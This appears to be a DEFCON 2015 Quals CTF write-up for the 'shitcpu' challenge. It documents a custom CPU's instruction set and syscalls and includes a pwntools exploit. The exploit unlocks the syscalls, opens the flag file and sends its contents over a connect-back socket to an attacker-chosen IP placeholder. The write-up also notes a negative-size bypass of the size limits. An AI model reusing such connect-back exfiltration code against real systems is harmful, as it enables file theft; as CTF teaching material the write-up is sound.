Rating:

# DEFCON CTF 2015 Quals shitcpu Writeup

Author: libmaru @ Blue-Lotus

## Instruction Set

opcode[5] rd[3] imm[8]
00001: mem[GPR[rd]] = imm8
00011: GPR[rd] |= imm8 << 8
00101: GPR[rd] = (BYTE) mem[PC+imm8+2]
00111: (BYTE) mem[PC+imm8+2] = GPR[rd]
01001: GPR[rd] = (WORD) mem[PC+imm8+2]
01011: (WORD) mem[PC+imm8+2] = GPR[rd]

opcode[5] rd[3] op2[4] op1[4]
00000: GPR[rd] = GPR[op1] + GPR[op2]
00010: GPR[rd] = GPR[op1] & GPR[op2]
00100: GPR[rd] = GPR[op1] | GPR[op2]
00110: GPR[rd] = GPR[op1] - GPR[op2]
01000: GPR[rd] = GPR[op1] ^ GPR[op2]
01010: GPR[rd] = GPR[op1] * GPR[op2] (signed)
01100: GPR[rd] = GPR[op1] >> GPR[op2] (signed)
01110: GPR[rd] = GPR[op1] << GPR[op2]
01101: cmp, gpr[rd] = sgn( GPR[op1] - GPR[op2] )

opcode[4] amount[1](8/16) off[11]
1000: call, move GPR window, GPR[last] = PC, PC += off11 << 1

opcode[4] off[8] cond[4]
1001: if( GPR[cond] == 0 ) PC += sext16( off8 << 1 )
1010: if( GPR[cond] != 0 ) PC += sext16( off8 << 1 )
1011: if( GPR[cond] < 0 ) PC += sext16( off8 << 1 )
1100: if( GPR[cond] > 0 ) PC += sext16( off8 << 1 )

opcode[4] off[12]
1101: PC += sext16( off12 << 1 )

opcode[4] amount[1](4/8) off[10] ignore[1]
1110: bulk load registers in reverse order

opcode[8] rd[4] cond[4]
11110000: if( GPR[cond] == 0 ) PC += GPR[rd] & 0xFFFE
11110001: if( GPR[cond] != 0 ) PC += GPR[rd] & 0xFFFE
11110010: if( GPR[cond] < 0 ) PC += GPR[rd] & 0xFFFE
11110011: if( GPR[cond] > 0 ) PC += GPR[rd] & 0xFFFE

opcode[8] rs[4] rd[4]
11110100: GPR[rd] = -GPR[rs]
11110101: GPR[rd] = GPR[rs]
11110110: PC += GPR[rs] & 0xFFFE

opcode[8] rs[4] ignore[4]
11110111: call_reg, move GPR window(reuse rs[3], 8/16), GPR[last] = PC, PC += GPR[rs] & 0xFFFE

opcode[8] amount[1](8/16) ignore[7]
11111000: ret, move GPR window backwards

opcode[8] rd[4] ignore[4]
11111001: syscall( GPR[rd] )
0xFA0: GPR[0]:GPR[1] = time(0)
0xFA1: fp[??] = fopen( GPR[1], "r" )
0xFA2: fclose( fp[GPR[1]] )
0xFA3: fread( GPR[3], 1, GPR[2], fp[GPR[1]] )
0xFA4: fd[??] = socket()
0xFA5: read( fd[GPR[1]], GPR[3], GPR[2] )
0xFA6: write( fd[GPR[1]], GPR[3], GPR[2] )
0xFA7: close( fd[GPR[1]] )
0xFA8: halt
0xFA9: connect( fd[GPR[1]], (GPR[2]<<16|GPR[3],GPR[4]) )
0xFAA: bind( fd[GPR[1]], (0,GPR[2]) ); listen( fd[GPR[1]], 3 )
0xFAB: accept( fd[GPR[1]], NULL, 0 )
default: raise 5

opcode[8] ignore[6] sub-opcode[2]
11111010??????00: GPR[0] = rnd_1; GPR[1] = rnd_2
11111010??????01: GPR[0] = lock
11111010??????10: if( GPR[0] == XXX && GPR[1] == YYY ) lock = 1
11111010??????11: if( GPR[0] == XXX && GPR[1] == YYY ) lock = 0

## Note

call/ret instruction moves the register window. You won't use this feature in your code.

The syscall is locked by default. To lock/unlock syscall, you must perform some calculation on the two random numbers and pass the check @ `sub_2778`.

There's a plenty of syscalls, but the only way to cat flag is connecting back:

1. fopen is hardcoded with read-only mode
2. accept doesn't keep the new fd in the internal structure, thus renders it inaccessible
3. although the fd array is initialized with 0, there is a boundary check stops us from using fd 0; raise this limit will overwrite 0 with fd/-1

## Other

Passing negative size to rw/rb commands bypasses size limit to some extent

If you want to inspect register values, just trigger an undefined instruction exception.

If you want single step debugging, patch sub_2A92 and let it return.

## Exploit

from pwn import *
import socket
import sys

target = ( 'shitcpu_5f766bf9fb92aead0ae2de76ea57f21c.quals.shallweplayaga.me', 19192 )
connback = ( 'PUT_YOUR_IP_HERE', 1337 )

try:
path = sys.argv[1]
except:
path = '/home/shitcpu/flag'

context.bits = 16
context.endian = 'big'

align = lambda s: s+'\0' if len(s) & 1 else s
bswap16 = lambda s: ''.join( s[i:i+2][::-1] for i in xrange( 0, len(s), 2 ))
string = lambda s: bswap16( align( s ))

connback_ip = bswap16( socket.inet_aton( connback[0] ))
connback_port = pack( connback[1], endianness='little' )

program = flat(
## Unlock syscall
0xFA01, # GPR[0], GPR[1] = rand_1, rand_2
0x5210, # GPR[2] = GPR[0] * GPR[1]
0x6B10, # GPR[3] = cmp( GPR[0], GPR[1] )
0xC013, # if GPR[3] > 0: goto PC+1*2
0xF422, # GPR[2] = -GPR[2]
0x6B12, # GPR[3] = cmp( GPR[1], GPR[2] )
0xC013, # if GPR[3] > 0: goto PC+1*2
0xF510, # GPR[0] = GPR[1]
0x4120, # GPR[1] = GPR[0] ^ GPR[2]
0xF520, # GPR[0] = GPR[2]
0xFA03, # unlock

## Prepare file and socket
0xE00C, # load GPR[3~0]
0xF900, # syscall GPR[0] (fopen)
0xF930, # syscall GPR[3] (socket)

0xE808, # load GPR[7~0]
0xF900, # syscall GPR[0] (connect)

## Prepare for the pump loop
0xE814, # load GPR[7~0]
0xD013, # goto PC+19*2

## Constants
0x0FA4, # GPR[3] = SYSCALL_SOCKET
0x0005, # GPR[2] = 5
0x0000, # GPR[1] = filename
0x0FA1, # GPR[0] = SYSCALL_FOPEN

connback_port, # GPR[4] = port
connback_ip, # GPR[3] = lo( IPv4 ), GPR[2] = hi( IPv4 )
0x0000, # GPR[1] = 0
0x0FA9, # GPR[0] = SYSCALL_CONNECT = 0x0FA9

0x0FA8, # GPR[7] = SYSCALL_EXIT
0x0FA6, # GPR[6] = SYSCALL_WRITE
0x0FA3, # GPR[5] = SYSCALL_FREAD
0x0100, # GRP[4] = max_size = 0x100
0x0000, # GPR[3] = buffer = 0x3F00
0x0100, # GPR[2] = size = 0x100
0x0000, # GPR[1] = GPR[1] ^ GPR[1] = 0

## Pump from file to socket
0xF502, # GPR[2] = GPR[0]
0xF960, # syscall GPR[6] (write)
0xF542, # GPR[2] = GPR[4]
0xF950, # syscall GPR[5] (fread)
0xCFB0, # if GPR[0] > 0: goto PC+(-5)*2

## Exit
0xF970, # syscall GPR[7] (exit)
)

def load( base, data ):
data = align( data )
conn.send( ''.join( 'ww %X %X\n' % (base+i,u16(data[i:i+2])) for i in xrange( 0, len( data ), 2 ) if u16(data[i:i+2])))

conn = remote( *target )
load( 0x0000, string( path ) )
load( 0x4000, program )
conn.sendline( 'run' )
conn.recvuntil( 'Simulation ending.' )

## Flag

FYI, the flag changes over time.

The flag is: Nice r3v3rsing skilzz, what a shitty CPU tho!@1337
The flag is: Later, shitlords

Original writeup (https://gist.github.com/libmaru/d46bd65bf6a7a1a94f5a).